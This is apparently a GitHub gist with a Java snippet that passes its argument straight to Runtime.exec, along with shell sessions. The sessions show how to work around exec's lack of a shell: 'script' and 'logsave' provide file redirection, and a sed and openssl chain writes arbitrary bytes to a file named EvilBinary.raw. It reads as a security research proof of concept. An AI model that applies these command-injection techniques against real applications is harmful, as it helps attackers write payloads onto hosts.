Skip to content

Instantly share code, notes, and snippets.

@sghctoma
Created August 13, 2022 07:47
Show Gist options
  • Save sghctoma/6b786ba1c441b9d41096777906e2d33b to your computer and use it in GitHub Desktop.
Save sghctoma/6b786ba1c441b9d41096777906e2d33b to your computer and use it in GitHub Desktop.
class Simple {
public static void main(String args[]) throws Exception {
Runtime.getRuntime().exec(args[0]);
}
}
---
$ java Simple 'script -q /tmp/test.txt echo alma'
$ cat /tmp/test.txt
alma
---
$ java Simple 'logsave /tmp/test2.txt echo alma'
$ cat /tmp/test2.txt
Log of echo alma
Sat Aug 13 09:18:21 2022
alma
Sat Aug 13 09:18:21 2022
----------------
---
$ echo -n '\x13\x37' | b64encode -r -
Ezc=
$ java Simple 'cp /etc/shells /tmp/xxxx'
$ java Simple 'sed -i .x s/.*/xxxx/g /tmp/xxxx'
$ java Simple 'sed -i .x 1s/xxxx/Ezc=/g /tmp/xxxx'
$ java Simple 'sed -i .x s/xxxx//g /tmp/xxxx'
$ java Simple 'openssl base64 -A -d -in /tmp/xxxx -out /tmp/EvilBinary.raw'
$ hd /tmp/EvilBinary.raw
00000000 13 37 00 |.7.|
00000003
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment